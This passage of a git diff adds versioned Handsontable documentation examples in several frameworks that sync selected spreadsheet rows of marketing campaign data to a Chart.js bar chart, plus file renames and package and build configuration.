max-height: 300px;\n margin-top: 16px;\n }\n `],\n template: `\n \n \n `,\n})\nexport class AppComponent implements AfterViewInit, OnDestroy {\n @ViewChild(HotTableComponent, { static: false }) readonly hotTable!: HotTableComponent;\n @ViewChild('chartCanvas') readonly canvasRef!: ElementRef;\n\n readonly data = data;\n\n private chart: Chart<'bar'> | null = null;\n\n readonly gridSettings: GridSettings = {\n colHeaders: ['Campaign', 'Q1 Budget ($)', 'Q1 Revenue ($)', 'Q2 Budget ($)', 'Q2 Revenue ($)'],\n columns: [\n { data: 'campaign', type: 'text', width: 200 },\n { data: 'q1Budget', type: 'numeric', numericFormat: { style: 'currency', currency: 'USD', maximumFractionDigits: 0 }, width: 120 },\n { data: 'q1Revenue', type: 'numeric', numericFormat: { style: 'currency', currency: 'USD', maximumFractionDigits: 0 }, width: 120 },\n { data: 'q2Budget', type: 'numeric', numericFormat: { style: 'currency', currency: 'USD', maximumFractionDigits: 0 }, width: 120 },\n { data: 'q2Revenue', type: 'numeric', numericFormat: { style: 'currency', currency: 'USD', maximumFractionDigits: 0 }, width: 120 },\n ],\n rowHeaders: true,\n selectionMode: 'range',\n height: 'auto',\n width: '100%',\n autoWrapRow: true,\n afterSelectionEnd: () => {\n this.updateChart();\n },\n afterDeselect: () => {\n this.updateChart();\n },\n licenseKey: 'non-commercial-and-evaluation',\n };\n\n ngAfterViewInit(): void {\n const config: ChartConfiguration<'bar'> = {\n type: 'bar',\n data: {\n labels: ['Select rows above to compare campaigns'],\n datasets: [\n {\n label: 'Q1 Revenue ($)',\n data: [0],\n backgroundColor: 'rgba(54, 162, 235, 0.7)',\n borderColor: 'rgba(54, 162, 235, 1)',\n borderWidth: 1,\n },\n {\n label: 'Q2 Revenue ($)',\n data: [0],\n backgroundColor: 'rgba(255, 99, 132, 0.7)',\n borderColor: 'rgba(255, 99, 132, 1)',\n borderWidth: 1,\n },\n ],\n },\n options: {\n responsive: true,\n maintainAspectRatio: false,\n plugins: {\n legend: { position: 'top' },\n title: { display: true, text: 'Campaign Revenue Comparison' },\n },\n scales: {\n y: {\n beginAtZero: true,\n ticks: {\n callback: (value) => `$${Number(value).toLocaleString()}`,\n },\n },\n },\n },\n };\n\n this.chart = new Chart(this.canvasRef.nativeElement, config);\n }\n\n ngOnDestroy(): void {\n this.chart?.destroy();\n }\n\n private updateChart(): void {\n const hot = this.hotTable?.hotInstance;\n const chart = this.chart;\n\n if (!hot || !chart) {\n return;\n }\n\n const selected = hot.getSelected();\n\n if (!selected || selected.length === 0) {\n chart.data.labels = ['Select rows above to compare campaigns'];\n chart.data.datasets[0].data = [0];\n chart.data.datasets[1].data = [0];\n chart.update();\n\n return;\n }\n\n const rowSet = new Set();\n\n for (const [r1, , r2] of selected) {\n const minRow = Math.min(r1, r2);\n const maxRow = Math.max(r1, r2);\n\n for (let row = minRow; row <= maxRow; row++) {\n rowSet.add(row);\n }\n }\n\n const rows = [...rowSet].sort((a, b) => a - b);\n const labels: string[] = [];\n const q1Values: number[] = [];\n const q2Values: number[] = [];\n\n for (const row of rows) {\n const rowData = hot.getDataAtRow(row);\n\n labels.push(rowData[0] as string);\n q1Values.push(rowData[2] as number);\n q2Values.push(rowData[4] as number);\n }\n\n chart.data.labels = labels;\n chart.data.datasets[0].data = q1Values;\n chart.data.datasets[1].data = q2Values;\n chart.update();\n }\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"recipes/real-time/chartjs-sync/angular/example1.ts","breadcrumb":["Recipes","Real Time","Sync rows to a Chart.js chart"],"guide":"recipes/real-time/chartjs-sync/chartjs-sync.md","guideTitle":"Sync rows to a Chart.js chart","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/recipes/real-time/chartjs-sync","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/recipes__real-time__chartjs-sync__javascript__example1.js.json b/runner/apps/authoring/public/docs-examples/18.0/recipes__real-time__chartjs-sync__javascript__example1.js.json new file mode 100644 index 00000000..fefec889 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/recipes__real-time__chartjs-sync__javascript__example1.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Recipes ▸ Real Time ▸ Sync rows to a Chart.js chart · Standard example · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\",\n \"chart.js\": \"4.5.1\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\nimport { Chart, registerables } from 'chart.js';\n\nregisterAllModules();\nChart.register(...registerables);\n\n/* start:skip-in-preview */\nconst data = [\n { campaign: 'Spring Sale 2025', q1Budget: 12000, q1Revenue: 34500, q2Budget: 15000, q2Revenue: 41200 },\n { campaign: 'Brand Awareness Q1', q1Budget: 8000, q1Revenue: 11300, q2Budget: 9500, q2Revenue: 13800 },\n { campaign: 'Summer Promo', q1Budget: 5000, q1Revenue: 6200, q2Budget: 18000, q2Revenue: 52400 },\n { campaign: 'Email Retargeting', q1Budget: 3500, q1Revenue: 9800, q2Budget: 4200, q2Revenue: 11600 },\n { campaign: 'Influencer Campaign', q1Budget: 20000, q1Revenue: 38700, q2Budget: 22000, q2Revenue: 44100 },\n { campaign: 'SEO Push Q2', q1Budget: 6000, q1Revenue: 7400, q2Budget: 9000, q2Revenue: 21300 },\n { campaign: 'Holiday Countdown', q1Budget: 4500, q1Revenue: 5100, q2Budget: 25000, q2Revenue: 68900 },\n { campaign: 'Brand Awareness Q3', q1Budget: 11000, q1Revenue: 16800, q2Budget: 13500, q2Revenue: 19400 },\n];\n/* end:skip-in-preview */\n\nconst container = document.querySelector('#example1');\nconst canvas = document.querySelector('#chart-canvas');\n\nconst chart = new Chart(canvas, {\n type: 'bar',\n data: {\n labels: ['Select rows above to compare campaigns'],\n datasets: [\n {\n label: 'Q1 Revenue ($)',\n data: [0],\n backgroundColor: 'rgba(54, 162, 235, 0.7)',\n borderColor: 'rgba(54, 162, 235, 1)',\n borderWidth: 1,\n },\n {\n label: 'Q2 Revenue ($)',\n data: [0],\n backgroundColor: 'rgba(255, 99, 132, 0.7)',\n borderColor: 'rgba(255, 99, 132, 1)',\n borderWidth: 1,\n },\n ],\n },\n options: {\n responsive: true,\n maintainAspectRatio: false,\n plugins: {\n legend: { position: 'top' },\n title: { display: true, text: 'Campaign Revenue Comparison' },\n },\n scales: {\n y: {\n beginAtZero: true,\n ticks: {\n callback: (value) => `$${value.toLocaleString()}`,\n },\n },\n },\n },\n});\n\nfunction updateChart(hot) {\n const selected = hot.getSelected();\n\n if (!selected || selected.length === 0) {\n chart.data.labels = ['Select rows above to compare campaigns'];\n chart.data.datasets[0].data = [0];\n chart.data.datasets[1].data = [0];\n chart.update();\n\n return;\n }\n\n const rowSet = new Set();\n\n for (const [r1, , r2] of selected) {\n const minRow = Math.min(r1, r2);\n const maxRow = Math.max(r1, r2);\n\n for (let row = minRow; row <= maxRow; row++) {\n rowSet.add(row);\n }\n }\n\n const rows = [...rowSet].sort((a, b) => a - b);\n const labels = [];\n const q1Values = [];\n const q2Values = [];\n\n for (const row of rows) {\n const rowData = hot.getDataAtRow(row);\n\n labels.push(rowData[0]);\n q1Values.push(rowData[2]);\n q2Values.push(rowData[4]);\n }\n\n chart.data.labels = labels;\n chart.data.datasets[0].data = q1Values;\n chart.data.datasets[1].data = q2Values;\n chart.update();\n}\n\n// eslint-disable-next-line no-unused-vars\nconst hot = new Handsontable(container, {\n data,\n colHeaders: ['Campaign', 'Q1 Budget ($)', 'Q1 Revenue ($)', 'Q2 Budget ($)', 'Q2 Revenue ($)'],\n columns: [\n { data: 'campaign', type: 'text', width: 200 },\n { data: 'q1Budget', type: 'numeric', numericFormat: { style: 'currency', currency: 'USD', maximumFractionDigits: 0 }, width: 120 },\n { data: 'q1Revenue', type: 'numeric', numericFormat: { style: 'currency', currency: 'USD', maximumFractionDigits: 0 }, width: 120 },\n { data: 'q2Budget', type: 'numeric', numericFormat: { style: 'currency', currency: 'USD', maximumFractionDigits: 0 }, width: 120 },\n { data: 'q2Revenue', type: 'numeric', numericFormat: { style: 'currency', currency: 'USD', maximumFractionDigits: 0 }, width: 120 },\n ],\n rowHeaders: true,\n selectionMode: 'range',\n height: 'auto',\n width: '100%',\n autoWrapRow: true,\n afterSelectionEnd() {\n updateChart(this);\n },\n afterDeselect() {\n updateChart(this);\n },\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.js":"import \"../styles.css\";\nimport \"../index.js\";","/styles.css":"#chart-canvas {\n max-height: 300px;\n margin-top: 16px;\n}"},"docsPath":"recipes/real-time/chartjs-sync/javascript/example1.js","breadcrumb":["Recipes","Real Time","Sync rows to a Chart.js chart"],"guide":"recipes/real-time/chartjs-sync/chartjs-sync.md","guideTitle":"Sync rows to a Chart.js chart","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/recipes/real-time/chartjs-sync","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/recipes__real-time__chartjs-sync__javascript__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/recipes__real-time__chartjs-sync__javascript__example1.ts.json new file mode 100644 index 00000000..f3b154a4 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/recipes__real-time__chartjs-sync__javascript__example1.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Recipes ▸ Real Time ▸ Sync rows to a Chart.js chart · Standard example · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\",\n \"chart.js\": \"4.5.1\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\nimport { Chart, registerables, ChartConfiguration } from 'chart.js';\n\nregisterAllModules();\nChart.register(...registerables);\n\n/* start:skip-in-preview */\ninterface CampaignRow {\n campaign: string;\n q1Budget: number;\n q1Revenue: number;\n q2Budget: number;\n q2Revenue: number;\n}\n\nconst data: CampaignRow[] = [\n { campaign: 'Spring Sale 2025', q1Budget: 12000, q1Revenue: 34500, q2Budget: 15000, q2Revenue: 41200 },\n { campaign: 'Brand Awareness Q1', q1Budget: 8000, q1Revenue: 11300, q2Budget: 9500, q2Revenue: 13800 },\n { campaign: 'Summer Promo', q1Budget: 5000, q1Revenue: 6200, q2Budget: 18000, q2Revenue: 52400 },\n { campaign: 'Email Retargeting', q1Budget: 3500, q1Revenue: 9800, q2Budget: 4200, q2Revenue: 11600 },\n { campaign: 'Influencer Campaign', q1Budget: 20000, q1Revenue: 38700, q2Budget: 22000, q2Revenue: 44100 },\n { campaign: 'SEO Push Q2', q1Budget: 6000, q1Revenue: 7400, q2Budget: 9000, q2Revenue: 21300 },\n { campaign: 'Holiday Countdown', q1Budget: 4500, q1Revenue: 5100, q2Budget: 25000, q2Revenue: 68900 },\n { campaign: 'Brand Awareness Q3', q1Budget: 11000, q1Revenue: 16800, q2Budget: 13500, q2Revenue: 19400 },\n];\n/* end:skip-in-preview */\n\nconst container = document.querySelector('#example1')!;\nconst canvas = document.querySelector('#chart-canvas')!;\n\nconst chartConfig: ChartConfiguration<'bar'> = {\n type: 'bar',\n data: {\n labels: ['Select rows above to compare campaigns'],\n datasets: [\n {\n label: 'Q1 Revenue ($)',\n data: [0],\n backgroundColor: 'rgba(54, 162, 235, 0.7)',\n borderColor: 'rgba(54, 162, 235, 1)',\n borderWidth: 1,\n },\n {\n label: 'Q2 Revenue ($)',\n data: [0],\n backgroundColor: 'rgba(255, 99, 132, 0.7)',\n borderColor: 'rgba(255, 99, 132, 1)',\n borderWidth: 1,\n },\n ],\n },\n options: {\n responsive: true,\n maintainAspectRatio: false,\n plugins: {\n legend: { position: 'top' },\n title: { display: true, text: 'Campaign Revenue Comparison' },\n },\n scales: {\n y: {\n beginAtZero: true,\n ticks: {\n callback: (value) => `$${Number(value).toLocaleString()}`,\n },\n },\n },\n },\n};\n\nconst chart = new Chart(canvas, chartConfig);\n\nfunction updateChart(hot: Handsontable): void {\n const selected = hot.getSelected();\n\n if (!selected || selected.length === 0) {\n chart.data.labels = ['Select rows above to compare campaigns'];\n chart.data.datasets[0].data = [0];\n chart.data.datasets[1].data = [0];\n chart.update();\n\n return;\n }\n\n const rowSet = new Set();\n\n for (const [r1, , r2] of selected) {\n const minRow = Math.min(r1, r2);\n const maxRow = Math.max(r1, r2);\n\n for (let row = minRow; row <= maxRow; row++) {\n rowSet.add(row);\n }\n }\n\n const rows = [...rowSet].sort((a, b) => a - b);\n const labels: string[] = [];\n const q1Values: number[] = [];\n const q2Values: number[] = [];\n\n for (const row of rows) {\n const rowData = hot.getDataAtRow(row);\n\n labels.push(rowData[0] as string);\n q1Values.push(rowData[2] as number);\n q2Values.push(rowData[4] as number);\n }\n\n chart.data.labels = labels;\n chart.data.datasets[0].data = q1Values;\n chart.data.datasets[1].data = q2Values;\n chart.update();\n}\n\n// eslint-disable-next-line no-unused-vars\nconst hot = new Handsontable(container, {\n data,\n colHeaders: ['Campaign', 'Q1 Budget ($)', 'Q1 Revenue ($)', 'Q2 Budget ($)', 'Q2 Revenue ($)'],\n columns: [\n { data: 'campaign', type: 'text', width: 200 },\n { data: 'q1Budget', type: 'numeric', numericFormat: { style: 'currency', currency: 'USD', maximumFractionDigits: 0 }, width: 120 },\n { data: 'q1Revenue', type: 'numeric', numericFormat: { style: 'currency', currency: 'USD', maximumFractionDigits: 0 }, width: 120 },\n { data: 'q2Budget', type: 'numeric', numericFormat: { style: 'currency', currency: 'USD', maximumFractionDigits: 0 }, width: 120 },\n { data: 'q2Revenue', type: 'numeric', numericFormat: { style: 'currency', currency: 'USD', maximumFractionDigits: 0 }, width: 120 },\n ],\n rowHeaders: true,\n selectionMode: 'range',\n height: 'auto',\n width: '100%',\n autoWrapRow: true,\n afterSelectionEnd() {\n updateChart(this);\n },\n afterDeselect() {\n updateChart(this);\n },\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.ts":"import \"../styles.css\";\nimport \"../index.ts\";","/styles.css":"#chart-canvas {\n max-height: 300px;\n margin-top: 16px;\n}"},"docsPath":"recipes/real-time/chartjs-sync/javascript/example1.ts","breadcrumb":["Recipes","Real Time","Sync rows to a Chart.js chart"],"guide":"recipes/real-time/chartjs-sync/chartjs-sync.md","guideTitle":"Sync rows to a Chart.js chart","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/recipes/real-time/chartjs-sync","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/recipes__real-time__chartjs-sync__react__example1.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/recipes__real-time__chartjs-sync__react__example1.tsx.json new file mode 100644 index 00000000..952ffa2f --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/recipes__real-time__chartjs-sync__react__example1.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Recipes ▸ Real Time ▸ Sync rows to a Chart.js chart · Standard example · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":6,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/react-wrapper\": \"18.0.0\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\",\n \"chart.js\": \"4.5.1\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example1\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { useRef, useEffect, useCallback } from 'react';\nimport { HotTable } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\nimport Handsontable from 'handsontable/base';\nimport { Chart, registerables, ChartConfiguration } from 'chart.js';\nimport './example1.css';\n\nregisterAllModules();\nChart.register(...registerables);\n\n/* start:skip-in-preview */\ninterface CampaignRow {\n campaign: string;\n q1Budget: number;\n q1Revenue: number;\n q2Budget: number;\n q2Revenue: number;\n}\n\nconst data: CampaignRow[] = [\n { campaign: 'Spring Sale 2025', q1Budget: 12000, q1Revenue: 34500, q2Budget: 15000, q2Revenue: 41200 },\n { campaign: 'Brand Awareness Q1', q1Budget: 8000, q1Revenue: 11300, q2Budget: 9500, q2Revenue: 13800 },\n { campaign: 'Summer Promo', q1Budget: 5000, q1Revenue: 6200, q2Budget: 18000, q2Revenue: 52400 },\n { campaign: 'Email Retargeting', q1Budget: 3500, q1Revenue: 9800, q2Budget: 4200, q2Revenue: 11600 },\n { campaign: 'Influencer Campaign', q1Budget: 20000, q1Revenue: 38700, q2Budget: 22000, q2Revenue: 44100 },\n { campaign: 'SEO Push Q2', q1Budget: 6000, q1Revenue: 7400, q2Budget: 9000, q2Revenue: 21300 },\n { campaign: 'Holiday Countdown', q1Budget: 4500, q1Revenue: 5100, q2Budget: 25000, q2Revenue: 68900 },\n { campaign: 'Brand Awareness Q3', q1Budget: 11000, q1Revenue: 16800, q2Budget: 13500, q2Revenue: 19400 },\n];\n/* end:skip-in-preview */\n\nconst chartConfig: ChartConfiguration<'bar'> = {\n type: 'bar',\n data: {\n labels: ['Select rows above to compare campaigns'],\n datasets: [\n {\n label: 'Q1 Revenue ($)',\n data: [0],\n backgroundColor: 'rgba(54, 162, 235, 0.7)',\n borderColor: 'rgba(54, 162, 235, 1)',\n borderWidth: 1,\n },\n {\n label: 'Q2 Revenue ($)',\n data: [0],\n backgroundColor: 'rgba(255, 99, 132, 0.7)',\n borderColor: 'rgba(255, 99, 132, 1)',\n borderWidth: 1,\n },\n ],\n },\n options: {\n responsive: true,\n maintainAspectRatio: false,\n plugins: {\n legend: { position: 'top' },\n title: { display: true, text: 'Campaign Revenue Comparison' },\n },\n scales: {\n y: {\n beginAtZero: true,\n ticks: {\n callback: (value) => `$${Number(value).toLocaleString()}`,\n },\n },\n },\n },\n};\n\nconst ExampleComponent = () => {\n const canvasRef = useRef(null);\n const chartRef = useRef | null>(null);\n\n useEffect(() => {\n const chart = new Chart(canvasRef.current!, chartConfig);\n\n chartRef.current = chart;\n\n return () => chart.destroy();\n }, []);\n\n const updateChart = useCallback(function (this: Handsontable) {\n const chart = chartRef.current;\n\n if (!chart) {\n return;\n }\n\n const selected = this.getSelected();\n\n if (!selected || selected.length === 0) {\n chart.data.labels = ['Select rows above to compare campaigns'];\n chart.data.datasets[0].data = [0];\n chart.data.datasets[1].data = [0];\n chart.update();\n\n return;\n }\n\n const rowSet = new Set();\n\n for (const [r1, , r2] of selected) {\n const minRow = Math.min(r1, r2);\n const maxRow = Math.max(r1, r2);\n\n for (let row = minRow; row <= maxRow; row++) {\n rowSet.add(row);\n }\n }\n\n const rows = [...rowSet].sort((a, b) => a - b);\n const labels: string[] = [];\n const q1Values: number[] = [];\n const q2Values: number[] = [];\n\n for (const row of rows) {\n const rowData = this.getDataAtRow(row);\n\n labels.push(rowData[0] as string);\n q1Values.push(rowData[2] as number);\n q2Values.push(rowData[4] as number);\n }\n\n chart.data.labels = labels;\n chart.data.datasets[0].data = q1Values;\n chart.data.datasets[1].data = q2Values;\n chart.update();\n }, []);\n\n return (\n <>\n \n \n \n );\n};\n\nexport default ExampleComponent;","/src/example1.css":"#chart-canvas {\n max-height: 300px;\n margin-top: 16px;\n}"},"docsPath":"recipes/real-time/chartjs-sync/react/example1.tsx","breadcrumb":["Recipes","Real Time","Sync rows to a Chart.js chart"],"guide":"recipes/real-time/chartjs-sync/chartjs-sync.md","guideTitle":"Sync rows to a Chart.js chart","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/recipes/real-time/chartjs-sync","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/recipes__real-time__websocket-updates__angular__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/recipes__real-time__websocket-updates__angular__example1.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/recipes__real-time__websocket-updates__angular__example1.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/recipes__real-time__websocket-updates__angular__example1.ts.json diff --git a/runner/apps/authoring/public/docs-examples/recipes__real-time__websocket-updates__javascript__example1.js.json b/runner/apps/authoring/public/docs-examples/18.0/recipes__real-time__websocket-updates__javascript__example1.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/recipes__real-time__websocket-updates__javascript__example1.js.json rename to runner/apps/authoring/public/docs-examples/18.0/recipes__real-time__websocket-updates__javascript__example1.js.json diff --git a/runner/apps/authoring/public/docs-examples/recipes__real-time__websocket-updates__react__example1.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/recipes__real-time__websocket-updates__react__example1.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/recipes__real-time__websocket-updates__react__example1.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/recipes__real-time__websocket-updates__react__example1.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/recipes__rendering-styling__conditional-row-coloring__angular__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/recipes__rendering-styling__conditional-row-coloring__angular__example1.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/recipes__rendering-styling__conditional-row-coloring__angular__example1.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/recipes__rendering-styling__conditional-row-coloring__angular__example1.ts.json diff --git a/runner/apps/authoring/public/docs-examples/recipes__rendering-styling__conditional-row-coloring__javascript__example1.js.json b/runner/apps/authoring/public/docs-examples/18.0/recipes__rendering-styling__conditional-row-coloring__javascript__example1.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/recipes__rendering-styling__conditional-row-coloring__javascript__example1.js.json rename to runner/apps/authoring/public/docs-examples/18.0/recipes__rendering-styling__conditional-row-coloring__javascript__example1.js.json diff --git a/runner/apps/authoring/public/docs-examples/recipes__rendering-styling__conditional-row-coloring__javascript__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/recipes__rendering-styling__conditional-row-coloring__javascript__example1.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/recipes__rendering-styling__conditional-row-coloring__javascript__example1.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/recipes__rendering-styling__conditional-row-coloring__javascript__example1.ts.json diff --git a/runner/apps/authoring/public/docs-examples/recipes__rendering-styling__conditional-row-coloring__react__example1.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/recipes__rendering-styling__conditional-row-coloring__react__example1.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/recipes__rendering-styling__conditional-row-coloring__react__example1.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/recipes__rendering-styling__conditional-row-coloring__react__example1.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/18.0/recipes__rendering-styling__frozen-summary-row__angular__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/recipes__rendering-styling__frozen-summary-row__angular__example1.ts.json new file mode 100644 index 00000000..56da451a --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/recipes__rendering-styling__frozen-summary-row__angular__example1.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Recipes ▸ Rendering Styling ▸ Frozen summary row · Standard example · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":8,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/angular-wrapper\": \"18.0.0\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [\n \"src/styles.css\"\n ],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
